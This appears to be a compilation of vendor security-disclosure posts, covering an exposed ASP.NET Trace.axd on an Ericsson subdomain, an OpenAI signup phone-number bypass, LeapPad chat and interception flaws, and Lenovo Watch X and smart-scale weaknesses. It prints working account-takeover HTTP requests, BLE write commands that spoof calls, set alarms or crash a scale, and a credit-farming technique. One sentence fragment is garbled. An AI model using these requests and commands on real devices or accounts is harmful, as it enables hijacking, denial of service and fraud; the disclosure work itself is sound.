Checkmarx Security Research team reached out to Ericsson’s Responsible Disclosure Program, notifying them of the the finding on 14th March 2023. Ericsson acknowledged the finding and replied  that the issue was fixed on 11th April 2023. 

ASP.NET web applications that run with tracing enabled, may publicly expose sensitive information. This feature allows any user to view diagnostic information about a single request for an ASP.NET page. When this feature is enabled,  Trace Viewer (Trace.axd) may be publicly accessible, without server’s root authentication. The Checkmarx Security Research team discovered this vulnerability and will explore what that means for users in this post.   

This research was conducted following Ericsson Vulnerability Disclosure Program. 

One of Ericsson’s subdomains is forecast.ericsson.net. However, when accessing it via a web browser it redirects to https:// forecast.ericsson.net /Login /Login. aspx. No complex reconnaissance process was required to understand that we were dealing with an ASP.NET web application. 

There are several, well-known endpoints/resources of interest to check for when dealing ASP.NET web applications, and  – /Trace.axd is one of them.  Trace.axd is a web-page that is intended to provide extensive logging information in regard to  web requests to the application. – If this is exposed, it may provide attackers unauthenticated access to the last 80 web requests made to the server. This has the potential to result in a  sensitive information, such as PII data, and session details being disclosed. This information may  then be used to potentially take over user accounts, and further compromise Ericsson’s applications. 

After finding Trace Viewer (Trace.axd) on our target subdomain (https://forecast.ericsson.net/Trace.axd), we checked what information was available. 

The picture above shows the Trace Viewer main page (Trace.axd), which is where the physical directory of the web application (E:webrootsSupplyExtranet) and the last requested web application files are printed (Supply/ChangePassword.aspx). 

As you can see, it is  possible to view additional details for each request. This potentially can allow malicious actors  access to sensitive information. The body of POST requests, especially those to the Login/Login.aspx endpoint, are good candidates to monitor for disclosure sensitive information,  including usernames and passwords. We can see    this scenario, where user account credentials, username and password, are both shown in plaintext in the figure below. 

Information disclosure via Trace Viewer (Trace.axd) for ASP.NET web applications is a high severity security issue that can lead to the compromise of sensitive information and online systems. This feature should not be enabled in production environments. 

Even if you lived under a rock in the last few months, I’m sure you still have heard about OpenAI – especially their ChatGPT project. If you still don’t know what it is, let ChatGPT introduce itself: 

When OpenAI first allowed users to sign up for an account, it was offering a free credit as a trial to try their AI projects (around $7). 

Although it was enough for any user willing to start using ChatGPT, it was clearly insufficient for those looking forward to being the first to come up with some sort of integrated product. 

What we’ve found during the OpenAI signup process, was that there is a mechanism in place which validates user phone-numbers, which is used as a layer of validation to ensure users are unique individuals in order to prevent abuse of the free credit trial. By intercepting and modyfing the OpenAI API request, we’ve identified a vulnerability which allows us to bypass these restrictions. This allowed us to sign up for an arbitrary number of user accounts using the same phone number, getting as many free credits as we wanted. 

Vulnerability Details 

Account Validation Behavior 

Before going into the details of how this vulnerability might be exploited, allow me to explain how the registration process worked: 

1. Register an e-mail 

2. Click on the e-mail activation link 

3. Enter a phone number 

4. Enter the validation code received by SMS 

Both e-mail and phone number must be unique, otherwise, the user would be informed that the account already exists, and no free credits would be granted. 

Bypass Validation 

After understanding this process, we dove into the API underneath the web application. 

Providing a valid e-mail could be achieved by using a catch-all e-mail account on a private mail domain, or any of the many temporary e-mail services. You could even automate that with a script to monitor an inbox and follow the activation link for you. Bypassing the phone number restriction, however, was a bit more challenging. 

As a result, this is what we did: 

1. Register Account A (https://auth0.openai.com/u/signup/) with our unique phone number 

2. Register Account B (https://auth0.openai.com/u/signup/) with the same phone number. 

Account B was created but without being assigned the free credits. Account B was informed that the entered phone number had already got the free credits. 

How to bypass it? 

After intercepting the traffic with Burp proxy, we noticed the following request: 

Our first thought was to do subtle changes to the “phone_number”, prepending the country code (00351): 

This resulted in the following response: 

At this point, we noticed that we could use different variations of essentially the same phone number, and get the same number associated to different accounts. This would allow a malicious user to have multiple accounts with as many credits as they need, while effortlessly using the same phone number. 

Just using this technique, the attacker could keep adding leading zeros in order to create an arbitrary number of phone number variations. 

However, the amount of zeros would likely be finite, and we wanted to increase our credit value to a more respectable and significant sum, and deliver a better proof-of-concept to OpenAI. 

This is where the open-source tool REcollapse was put to use (https://github.com/0xacb/recollapse). This tool allows a user to fuzz inputs and bypass validations and discover normalization, canonicalization, and sanitization in web applications and APIs. 

After some initial testing, some patterns were observed to be sanitized by OpenAI API. Using Unicode encoding on certain non-ASCII bytes allowed us to bypass it and register more accounts. 

Root Cause? 

The likely root cause for this issue is that one upstream component, probably around user management, observes the phone number as a unique value, under the assumption that if it is invalid, it simply will not function for the purpose of account validation.  

Given the arbitrary prepended zeros and inline non-ASCII bytes, these permutations of the original value are not identical at an early point where comparison is made. However, once the system attempts to validate the phone number associated with the account, this tainted phone number is passed on to another component (or components), which sanitizes the value for prefixed zeros and unwanted bytes before using it as a proper phone number.  

This late-stage normalization can cause a massive, if not infinite, set of different values (e.g., 0123, 00123, 12u000a3, 001u000au000b2u000b3 etc.) that are treated as unique identifiers to collapse into a single value (123) upon use, which allows bypassing the initial validation mechanism altogether. 

The likely solution to this is to run the same normalization before ever processing the value, so that it is identical, both when used as a unique value upstream, and as a phone number downstream. 

Disclosure 

We can say that OpenAI was on top of this issue after we sent the report, even in the middle of a big Microsoft investment and lots of project changes. 

OpenAI feedback: 

Thank you again for your detailed report. We have validated the finding and have fixed the issue. 

We appreciate your reporting this to us and adhering to the OpenAI coordinated vulnerability disclosure policy (https://openai.com/policies/coordinated-vulnerability-disclosure-policy). 

Timeline: 

2 December 2022 – Report sent to OpenAI 

6 December 2022 – OpenAI replied back that they were investigating the issue 

28 February 2023 – We requested an update on the issue 

1 March 2023 – OpenAI replied that the issue was fixed 

4 May 2023 – Full Disclosure 

It was a pleasure to collaborate so effectively with the OpenAI , who took ownership and were professional through the disclosure and remediation process. For this reason, and a great researcher experience, we’re granting OpenAI the Checkmarx Seal of Approval. 

And, as always, our security research team will continue to focus on ways to improve application security practices everywhere

LeapFrog’s LeapPad Ultimate Ready for School Tablet

The LeapPad Ultimate offers parents a worry-free option when it comes to getting their children access to a tablet that provides games, videos, eBooks, and other school-readiness applications. With just a few steps from an adult, you can get your 3 to 6-year-old children exploring all kinds of fun apps. They can personalize their user account with their name of course and maybe even a selfie.

The LeapPad Ultimate tablet is rugged, doesn’t require Wi-Fi, and makes entertaining children in waiting-rooms or on long car trips a breeze. Best of all, the learning technology from LeapFrog keeps children challenged and engaged, while protecting them from the internet at large. A Kindle or iPad certainly offers plenty of apps, and even some access restrictions, but generally doesn’t provide the kind of insulation from the internet that many parents want for their young children. However, after testing the LeapPad Ultimate tablet, there were some serious issues our research team uncovered.

Finding LeapPads’ Location Using the Pet Chat App

Pet Chat is an app on LeapPad Ultimate that allows two or more users to talk to each other in a chat room, using their own pet avatars and some preset phrases and emoticons. Users can’t even communicate with one another except via preset phrases. Seems safe enough, right?
Now, let’s take a look at WiGLE. WiGLE is a website for collecting information about the different wireless hotspots around the globe. It consolidates location and information of wireless networks–worldwide–and puts them in a central database. Using WiGLE, it’s simple to find locations of children using the Pet Chat application because Pet Chat creates a Wi-Fi Ad-Hoc connection that broadcasts to other compatible devices nearby using the SSID: PetChat. Anyone can identify the possible location of LeapPads using Pet Chat by finding them on public Wi-Fi or tracking their device’s MAC address.
Below is an example of locating a Pet Chat user in London, United Kingdom using WiGLE.

WiGLE shows the mapping, MAC address, and when a device was last scanned. Attackers could check for isolated homes where children are using Pet Chat and try to launch more attacks that we describe in this blog post.

Come Outside & Play

We discovered that the Pet Chat protocol does not require any authentication between a parent’s device and a child’s device. This means that any bystander within 100ft of a Leapfrog device running Pet Chat can send a message to a child’s device. It is easy to understand the potential implications of that type of activity.
Below is an example of a preset phrase on Pet Chat:

Vulnerable to Man-in-the-Middle Attacks

WiFi-Pumpkin is a rogue access-point framework that allows attackers to spoof an existing Wi-Fi network, while forcing devices connected on the original network to switch to the newly created rogue network. Using WiFi-Pumpkin, we were surprised to see that the outgoing traffic from a LeapPad was not encrypted using HTTPS, but rather using the clear-text HTTP protocol—making it vulnerable to Man-in-the-Middle attacks. The traffic we observed from a LeapPad connected to a rogue WiFi-Pumpkin network could easily contain sensitive data, including:

• Credit Card info: Brand of the card (Visa, MasterCard, etc.), name on the card, credit card number – missing 6 digits, expiration date, billing address, and phone number
• Parent’s info: Email, name, account balance, and address
• Child’s info: Name, gender, birth year, and birth month

Vulnerable to LeapSearch-Portal Phishing Attacks

LeapFrog contains an app called LeapSearch—a “child-safe web browser that provides access to safe web content”. Taking advantage of the same man-in-the-middle technique described earlier, we were also able to modify the content of that “safe web” application.
By injecting pieces of real data retrieved in the previous step, we created a “phishing version” of the LeapSearch portal which appears to be legit. We then manipulated the bogus portal, making it ask the user for additional sensitive information, such as filling in the missing 6 digits of the credit card on file.

LeapFrog Resolved the Issues Quickly

The vulnerabilities we uncovered during this research would likely create worrying scenarios for parents, concerning their children’s usage of LeapPad. LeapFrog did take several measures to secure these tablets to protect children. However, just a few vulnerabilities can be combined to create some very harmful attack results. As a result of our research, LeapFrog responded to our report and confirmed that they had released fixes soon after they acknowledged our findings, and completely removed Pet Chat from stores.

Disclosure Timeline

29-Dec-2018: Sent the full report to LeapFrog.
18-Jan-2019: Conference call with LeapFrog’s engineers and Products managers – asked for more details to better reproduce issues.
21-Jan-2019: Sent a detailed guide to reproduce issues.
01-Feb-2019: LeapFrog reported the release of the first wave of fixes.
21-Apr-2019: LeapFrog reported the removal of potentially troublesome phrases from Pet Chat.
27-Jun-2019: LeapFrog confirmed the removal of the Pet Chat app from stores.

Checkmarx Recommendation to LeapPad Owners

LeapPad devices that are older than three years may still have Pet Chat installed. Parents are advised by Checkmarx to manually uninstall or refrain from using the application.

LeapFrog’s Correspondence to Checkmarx

LeapFrog also shared the following comment from Mari Sunderland, VP of Digital Product Management at LeapFrog Enterprises:
“We thank Checkmarx for bringing these security issues to our attention, as the safety of the children who use our products is a top priority. With the information they provided, we were able to take immediate actions to resolve the issues. Checkmarx has been helpful, ethical, and professional.  Cooperating with them has benefitted LeapFrog and our customers.”

Checkmarx Research Team’s Mission

Discovering vulnerabilities like the ones mentioned above is why Checkmarx performs research. Checkmarx is committed to helping organizations build more-secure software. Our Software Security Platform helps developers and security teams find and fix vulnerabilities in the software they develop. Plus, we offer solutions that train an organization’s developers to be increasingly aware of software vulnerabilities in code that could result in successful cyberattacks. We have a responsibility to build software security into everything we deliver.

Lenovo Watch X Security Research Summary

I think we all understand why a smart device like the Lenovo Watch X needs to collect some types of information. As users, our hope is that only the necessary information is shared and stored, and that all of our personally identifiable information (PII) is handled securely and responsibly.
Unfortunately, during the course of my research I found quite a few vulnerabilities in my shiny new Lenovo Watch X. Each of the vulnerabilities concern me, but a few of them are pretty disturbing. I’ll name and describe the vulnerabilities, and then share how that vulnerability could be used in an attack scenario.
Vulnerability – Pinpoint Phone Location: Phone latitude and longitude coordinates regularly sent to a remote unknown server in China.
Attack scenario: Ability to track the location of the watch owner, not only by the unknown server in China” but also by anyone sniffing the network.
Vulnerability – Sniffing / MiTM: Communication sent between the mobile application and web server is not encrypted, so anyone could sniff the communication.
Attack scenario: A malicious user could grab user credentials, hijack accounts, and track users just by being on the same network as their victim(s).
Vulnerability –  Account Takeover: Due to lack of account validation and permissions, it’s possible to force a password change request for any user.
Attack scenario: Anyone who knows the userid could change the user password, and therefore hijack remote accounts.
Vulnerability –  Magic BLE: The Bluetooth Low Energy pairing allows pairing devices using only normal hand movement. There is no timeout system enabled.
Attack scenario: A malicious user could easy pair to the victim’s watch just using normal pairing; the natural movement of the hand makes a successful pairing easy.
Vulnerability –  Spoofing Calls: Write permissions on a specific GATT UUID allow the spoofing calls attack.
Attack scenario: A malicious user could send a specific command to the device and spoof incoming calls to the victim’s watch.
Vulnerability: Set Alarms: Write permissions on a specific GATT UUID allow setting alarms on the watch.
Attack scenario: A malicious user could send a specific command to the watch to set alarms. The function allows adding multiple alarms, as often as every minute.

Lenovo Watch X Android Application

My next step was to install the official Lenovo Watch X Android app, which has around +50,000 downloads. Then I started monitoring the traffic from the app. I wanted to see what permissions it required as well as what it sent to a remote server.
The Watch X Android app requires the following permissions:

• permission.INTERNET
• permission.READ_EXTERNAL_STORAGE
• permission.WRITE_EXTERNAL_STORAGE
• permission.BLUETOOTH_ADMIN
• permission.BLUETOOTH
• permission.ACCESS_COARSE_LOCATION
• permission.GET_TASKS
• permission.ACCESS_WIFI_STATE
• permission.ACCESS_NETWORK_STATE
• permission.CHANGE_WIFI_STATE
• permission.READ_PHONE_STATE
• permission.CAMERA
• permission.CALL_PHONE
• permission.WAKE_LOCK
• permission.REQUEST_INSTALL_PACKAGES
• permission.ACCESS_FINE_LOCATION
• permission.ACCESS_LOCATION_EXTRA_COMMANDS
• permission.RECEIVE_SMS
• permission.READ_CONTACTS
• permission.BIND_ACCESSIBILITY_SERVICE
• permission.RECORD_AUDIO
• permission.GET_ACCOUNTS
• permission.USE_CREDENTIALS
• permission.WRITE_SETTINGS
• permission.FLASHLIGHT

I understand why the Android app needed some of these permissions, but others seemed a bit strange to me. I continued with my research and immediately noticed a strange request to a Chinese server:
POST /api/dmap-analysis-point-server/v2/insertBaseBurialPointInfoV2 HTTP/1.1
language: EN_HK
token:
visitorId: 1043065036087934976
Content-Type: application/json; charset=utf-8
Content-Length: 575
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
[{"appVersion":"2.4.1","boundTime":0,"equipmentModel":"0201060EFF03A35042303031DC41E5002084080957617463682058031400A800000000000000000000000000000000000000000000000000000000000000","equipmentType":1,"firmwareId":"PB001","firmwareVersion":"0.3.6","imei":"629*","latitude":"40.*","loginTime":1537801210,"longitude":"-8.*","phoneLanguage":"pt_PT","phoneModel":"LG-M320","phoneType":"lge","phoneVersion":"Android7.0","placeId":111007,"projectId":"AP110002","sn":"LGM3*","startUpNum":0,"userId":1043065036087934976,"userTime":30,"userType":"1"}]
At this point they already pinpointed my location – which by the way is exactly where I was. I hadn’t even registered for a Lenovo Watch account yet – but already they had my PII.

My next step was to register for an account. Registering triggered other alarms in my mind. For example, I did not see HTTPS in any requests sent between the application and the server. Essentially, anyone could launch a MiTM attack at that point, or even just watch what I’m doing.

Sniffing/MiTM

Next, I wanted to see exactly what information was being sent (unencrypted) between my app and the server. It was pretty easy to see everything – here are a few examples:

Checking if the email exists already

GET /api/dmap-auth-server/v1/user/email/code/email?email=email@say.what&type=1
HTTP/1.1
language: EN_HK
token:
visitorId: 1043065036087934976Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0

Registering an account

POST /api/dmap-auth-server/v2/user/register/email HTTP/1.1
language: EN_HK
token:
visitorId: 1043065036087934976
Content-Type: application/json; charset=utf-8
Content-Length: 79
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"email":"email@say.what","password":"Testing9999","projectId":"AP110002"}

How many steps in a specific day?

GET /api/dmap-senor-server/v1/rank/get/day?time=1537743600&userId=1044244911384469504&stepNum=122
HTTP/1.1
language: EN_HK
token: 9ae1f5a5020c080c58a3d929ceb869db
visitorId: -1
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
Basically a malicious user could monitor any operation on the app. It was pretty clear that none of the data requested by the app was private.

Account Takeover

If nothing is private, what else can I do with this app? My next step was to create two accounts to see if I could hijack an account.

Step 1.

On account A change the password and write down the request:
POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1
language: EN_HK
token: TOKEN_FROM_A
visitorId: -1
Content-Type: application/json; charset=utf-8
Content-Length: 55
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"password":"Testing9999","userId":1044244911384469504}

Step 2.

On account B change the password of the account using the token from A:
POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1
language: EN_HK
token: TOKEN_FROM_A
visitorId: -1
Content-Type: application/json; charset=utf-8
Content-Length: 55
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"password":"Testing1111","userId":104490555487071436}

Step 3.

Open the account B and check if the password is Testing1111. And, unfortunately, it is. I just hijacked the account and changed the password.

Step 4.

Next, remove token header.
POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1
language: EN_HK
visitorId: -1
Content-Type: application/json; charset=utf-8
Content-Length: 55
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"password":"Testing11","userId":104490555487071436}
That works too! So an attacker only needs the userId, then can change the password from any user and gain access to all of the information stored by this app.

Hacking the BLE

Magic Pairing

My first approach to hacking the BLE was to check how to pair the watch with my Android phone. I needed to understand the pairing method.
When you first open the Android application, it tries to find your Lenovo Watch to pair it. You see the following screen:

You need to click on the watch button OR move your arm. If the victim is already walking that’s a natural movement right? I did try it and it worked. Just by walking it pairs the device.
But it gets better. I disconnected the device. And tried to pair it again. After blocking the phone and opening again, it bypassed the pairing…
Watch this in action: https://www.youtube.com/watch?v=5Q0Pi3O4r2k

The NSA Is Calling You

Next, I decided to sniff the BLE traffic using three Ubertooth (also known as Uberteeth). I caught some interesting stuff when making a call to the phone. Take a look:

and

What I did was reply to both requests; I got the Levovo Watch X vibrating and telling me that I have an incoming call from “Amor.”
I decoded the hexadecimal value to ASCII, and it is possible to find where the text “Amor” is being sent:
41:6d:6f:72:00:69:6e:63:6f:8d -> Amor.inco
6d:69:6e:67 -> ming
So I wrote a small Python script that will trigger an incoming call from… the NSA! (Why not?)
You can see this in action: https://www.youtube.com/watch?v=1hzuSj4086s 

Set Alarms

Another discovery – you can mess around with the alarm setting on the watch, and it is a persistent alarm. For example, if an attacker writes the following data on the 0x0022 handle:
230109311d01010a01180788015200
It sets the watch to vibrate and inform the wearer of the alarm at 6:07pm (18:07).  Every ten minutes it will warn the user again, until the victim removes it. The victim must enter the app to disable this persistent alarm.
An attacker can go even further and enter a lot of alarms. In fact, an attacker could create some kind of denial of service with alarms:
230109311d01010a010300ff015200
This sets the alarm at 3 am every day. If you need to add more alarms, it’s all too easy – just change the number before the time:
230109311d01010a010300ff015200

Conclusions on the Lenovo Watch X

Based on this research, I made a few recommendations to Lenovo. I think the vulnerabilities on the Lenovo Watch X bear looking at – sharing my exact location with a remote server didn’t seem necessary for the Watch X to function as designed. It’s also a violation of my privacy, and clearly shares my PII. Encrypting communication between the Watch X, Android app, and the web server would help reduce the impact these issues, and it is basically best practice. Both the app and the watch need to confirm the pairing. making it far more difficult for a malicious user to pair with the smart watch. Setting a time out makes it less likely that an unintentional pairing could occur. Fixing the API permissions eliminates the ability of malicious users to send commands to the watch, spoof calls, and set alarms.
dart watch, and setting a time out makes it less likely that an unintentional pairing could occur. r to pair with the
Smart devices like the Lenovo Watch X track a lot of information about you, and some of that may make your life more convenient. By testing the security of smart watches (among other devices), we can help vendors learn that the vulnerabilities in their software lead to problems for their users, and they need to build better, more secure, software and devices to prevent that.

Disclosure Timeline

24-Oct-2018 Reports sent to Lenovo’s PSIRT (Product Security Incident Response Team)
16-Nov-2018 Sent reminders to Lenovo’s PSIRT
16-Nov-2018 Lenovo confirmed they got the reports
26-Nov-2018 Lenovo PSIRT opened a case, reference LEN-25446
27-Nov-2018 Sent our intent to publish
29-Nov-2018 PSIRT asked not to publish before early January
13-Dec-2018 Lenovo requested some clarifications
14-Dec-2018 Sent clarifications
08-Jan-2019 Lenovo PSIRT updated that they moved ownership to a 3rd party provider
16-Jan-2019 3rd party confirmed fixes are issued

Security Issues by Severity

We ranked the security Issues we found from high to low based on the Common Vulnerability Scoring System Calculator Version 3 (CVSS 3) score. Here’s an overview of the issues we found and what the possible attack scenarios might be.
Denial of Service (Medium – CVSS 7.1)
Possible attack scenario: An attacker could trigger a special request via BLE that crashes the smart scale. The victim needs to remove the batteries or wait until the batteries run out. Keep in mind that the device loses most of its information during this crash.
Changing privacy settings (Medium – CVSS 5.3)
Possible attack scenario: A malicious user – within BLE range – could track the victim because the device keeps the MAC address fixed due to a configuration in the Generic Attribute Profile (GATT). GATT establishes in detail how to exchange all profile and user data over a BLE connection.
Changing device name (Medium – CVSS 5.3)
Possible attack scenario: An attacker – within BLE range – could change the name of the device to something offensive or even to trick innocent users. Also it can be used to better identify the specific device to aid in combining this attack with other attacks.
Mobile application (Smart Scale) Man-in-The-Middle (Medium – CVSS 4.8)
Possible attack scenario: Some requests made by the mobile application don’t use HTTPS, which might allow malicious users to intercept the information sent between the mobile application and the host.

Hardware Reconnaissance

Next, we investigate the hardware — in this case, the scale itself. Here’s an overview of what we learned.
BD ADDR
98:84:e3:36:a7:56
Characteristics/services with write permission:
READ WRITEREAD WRITEREAD WRITEREAD WRITEREAD WRITE

Permissions required by the mobile application:
android.permission.BLUETOOTH_ADMIN
android.permission.BLUETOOTH
android.permission.WRITE_EXTERNAL_STORAGE android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.VIBRATE
android.permission.ACCESS_NETWORK_STATE android.permission.ACCESS_WIFI_STATE
android.permission.READ_PHONE_STATE
android.permission.INTERNET
android.permission.ACCESS_FINE_LOCATION android.permission.ACCESS_COARSE_LOCATION

Vulnerabilities

Now that we’ve gone over the security issues by severity and the hardware settings, let’s take a look at the vulnerabilities. One of the things we try in every assessment is to fuzz some bytes to see if it triggers things that should not happen. In this case we noticed that the service Immediate Alert -> Alert Level allowed us to write. So we tried to write one byte with the value 1. A single request didn’t result in any issues, but after a couple of requests, it crashed the smart scale. It was a bit difficult to replicate, but we found a pattern. When the smart scale was in standby and anyone sends the request below, it will crash the smart scale.
char-write-req 0x0045 01
We wrote a small proof-of-concept exploit (using pygatt python lib) to replicate it.

1. It connects to the device.
2. Sleeps for 5 seconds (meanwhile the device enters standby mode).
3. Sends the request.
4. Crashes the smart scale.

Now the only way to get the smart scale working again is to remove one of the batteries or wait until they run out, because the screen is frozen with the light on. We kept it for 30 minutes and the smart scale never went off. It’s also important to mention that resetting the smart scale removes information, such as other configuration steps the user took in the past. So we must also consider that the integrity of those settings is at stake also.
Watch a quick video showing what happens:

Changing Privacy Settings

The privacy flag defines if the device sends the original BD address (the unique 48-bit identifier assigned to each Bluetooth device by the manufacturer) in the BLE advertisements packets. If privacy is enabled, the device changes the BD address randomly, making it very hard to track the user. By default, this smart scale has Privacy Disabled, so it’s possible to track a user.
This option should not have the property set to WRITE and should be enabled by default. If a user has experience with connecting to Bluetooth devices, he or she can use GATTTool to change it with the following request:
char-write-req 0x0013 01
Changing Device Name
An attacker could change the device name to another. Originally it has the value:
VScale
You can change the name using GATTTool:
char-write-req 0x001e 064f574e000000
This request changes the device name to OWN. For some reason, 06 must be an operation code, because you will need that byte to change the name.

Smart Scale Man-in-The-Middle

Monitoring the mobile application Smart Scale we noticed that some requests are sending packets without https:
log.umsns.com
alog.umeng.com
ex.mobmore.com
ex.puata.info
open.yixin.im
vt.lotuseed.com
t2.qpic.cn

Mobile Application

The mobile applications (Android and iOS) were developed by a Chinese company named VTrump, which makes IoT applications for companies like AEG, Texas Instruments and Realtek. One of the things we noticed about the mobile application, which is referred to in the AEG Smart Scale package, is that many users are reporting that some mobile antivirus tools are blocking the app.

Smart Scale for Android App

So let’s take a look at the permissions needed on Android:
android.permission.BLUETOOTH_ADMIN
android.permission.BLUETOOTH
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.VIBRATE
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.READ_PHONE_STATE
android.permission.INTERNET
android.permission.ACCESS_FINE_LOCATION android.permission.ACCESS_COARSE_LOCATION
Immediately some of these permissions triggered alerts for our research team, such as ACCESS_FINE_LOCATION. WRITE_EXTERNAL_STORAGE, and ACCESS_COARSE_LOCATION. Why does this smart scale app need to know the user‘s location or have permission to write on external storage? Also the app has the ability to change the permissions for MOUNT_UNMOUNT_FILESYSTEMS, which allows it to mount and unmount file systems for removable storage. Why does a smart scale app need that?
One of the packages loaded by the apps is umeng.com. This package has a service that allows it to download an Android Package Kit (APK) from the Internet: com.umeng.common.net.DownloadingService.

com.umeng.common.a.c(DownloadingService.t, String.format("saveAPK: url = %1$15st|tfilename = %2$15s", new Object[]{this.k.c, this.d.getAbsolutePath()}));
HttpURLConnection a = a(new URL(this.k.c), this.d);
Besides com.umeng, another package also requests the International Mobile Equipment Identity (IMEI) from the user: android.telephony.TelephonyManager.getDeviceId.The IMEI is the unique numerical identifier for each mobile device. Again, why does the smart scale app need that information?

• umeng
• tencent

Smart Scale for iOS App

Switching to the iOS ap, we noticed the following POST request to gather.lotuseed.com (http):

Here’s what we learn from decoding the information that is sent:

mid2sid@H2yEAABwWVrVfAQAAAE8yNjI1ZGIzYTU5MjFiNTVlYzRjMGJhYTcxMDRlZWEyMGJiMDgwNjU4et 0ei Eem1510575869000+0mid1sid@H2yEAABCqVrVfAQAAAE8yNjI1ZGIzYTU5MjFiNTVlYzRjMGJhYTcxMDRlZWEyMGJiMDgwNjU4cm 0st 2sv 1.2.0ac Unknownav 1.3.7.1ak com.vtrump.vscalecc PTcl enlt 1510575876630+0ca
[26806]MEOct wifiMAC 02:00:00:00:00:00MAC2 11:22:33:44:55:66ssid REDACTEDmr
   280870912mt 25842688tr 1351158784tt    240294912cr 1bl  0.550000mid 4sid`H2yEAABCqVrVfAQAAAE8yNjI1ZGIzYTU5MjFiNTVlYzRjMGJhYTcxMDRlZWEyMGJiMDgwNjU4

What we’d like to focus is that private information is sent to a server in China (without https):
Application version: 1.2.0
Navigator: 1.3.7.1
Application: com.vtrump.vscale
Country: PT
Language: EN
Phone Operator: MEO
Router MAC:  11:22:33:44:55:66
Wifi SSID: REDACTED
On Android, the information sent is much more complete.

Decoding that information, we get the following:

mid  3sid@@NDMDAO9Q8blfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=ac portalav 1.2.4MAC 02:00:00:00:00:00IMEI REDACTED IMEI REDACTED AID 8c58689033753714BTA 02:00:00:00:00:00db
   SELECLINEdm S6S4IN3Gmn AUCHANhn sp7731c_fs280_32v4kn 1cis armv7lcfeHswp
half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt
vfpd32cm 41cbm 2419.91cc 2cfr 1200.0dfÏ Filesystem               Size
   Used     Free   Blksize
/dev                   229.1M    72.0K   229.0M   4096
/sys/fs/cgroup         229.1M    12.0K   229.1M   4096
/mnt                   229.1M     0.0K   229.1M   4096
/system                  2.1G     1.5G   680.6M   4096
/data                    4.6G   262.5M     4.3G   4096
/cache                 143.6M   240.0K   143.4M   4096
/productinfo           928.0K    84.0K   844.0K   4096
/sale                  928.0K   172.0K   756.0K   4096
/storage               229.1M     0.0K   229.1M   4096
/storage/emulated        4.6G   262.5M     4.3G   4096
/storage/67A7-1A18       1.8G     1.1M     1.8G   32768
/storage/self          229.1M     0.0K   229.1M   4096
mr 469136sd 1dsts@ 1vr 800hr 480sz 4,3rr  60sst@ 1n MC3XXX 3-axis
Accelerometerm 19.6133v  MC3XXXsst@ 5n CTP Light sensor(Noexist)m 1.0v
 CTPsst@ 8n CTP Proximity sensorm 1.0v  CTPfw
fv@ 6.0bv6TM_BASE_W16.43.2|sc7731C_CP0_modem|10-19-2016
14:00:16kvG3.10.65
release2@ww-linuxf4 #1
SMP PREEMPT Tue Nov 15 11:09:41 CST
2016bn 876803_V1.0_20161115blv unknownbfDSELECLINE/S6S4IN3G/S6S4IN3G:6.0/MRA58K/W16.44.4-14:user/release-keysal 23rf
 0mid  2sid@@NDMDABy3cVRfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1508950293201+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDABy3cVRfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1508950302268+1pi"com.vtrump.smartscale.MainActivityso
 0mid  2sid@@NDMDABy3cVRfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1508950324717+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDABy3cVRfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1508950326254+1pi"com.vtrump.smartscale.MainActivityso
 0mid  1sid@@NDMDAM8YiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscaleof 1sf 1cc PTcl ptlt 1509639592179+1ct UnknownMAC 02:00:00:00:00:00ur -60ut -1886MAC2 00:00:00:00:00:00ssid <unknown
ssid>em 57714um 57714mr 0mt 0tr 22368tt 22752bl  0,530mid
 2sid@@NDMDAM8YiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509639592732+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAM8YiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509639601525+1pi"com.vtrump.smartscale.MainActivityso
 0mid  1sid@@NDMDAFHLiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscaleof 1cc PTcl ptlt 1509639637847+1ct UnknownMAC 02:00:00:00:00:00ur -60ut -1886MAC2 00:00:00:00:00:00ssid <unknown
ssid>em 103321um 103321mr 0mt 0tr 37216tt 37600bl  0,520mid
